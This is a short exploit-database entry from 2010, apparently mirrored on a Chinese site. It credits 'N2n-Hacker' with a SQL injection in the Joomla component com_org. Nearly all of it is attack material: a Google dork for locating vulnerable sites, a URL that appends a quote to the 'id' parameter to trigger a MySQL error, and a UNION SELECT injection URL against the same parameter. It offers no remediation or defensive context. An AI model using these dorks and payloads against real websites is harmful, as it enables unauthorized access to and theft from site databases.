Joomla! Component com_org – SQL Injection - 体验盒子

作者： N2n-Hacker

日期： 2010-03-14

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

###############################################################################

## ##

##Joomla com_org SQL Injection Vulnerability##

## ##

###############################################################################

\\\\\\\\\\\\\\\\\\\\\\\\\\\N2n-Hacker - 2nd@live.fr////////////////////////////

*******************************************************************************

=> Dork = inurl:"option=com_org"

-------------------------------------------------------------------------------

# EXp : http://www.website.com/path/index.php?option=com_org&task=info&id=22' <=[SQLI] --〈=en

Error = "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version"

# http://www.website.com/path/index.php?option=com_org&task=info&id=-22 UNION SELECT 1,2 ..... --〈=en

********************************************************************************

\\\\\\\\\\\\\\\\\\ BAD LIFE //////////////////

********************************************************************************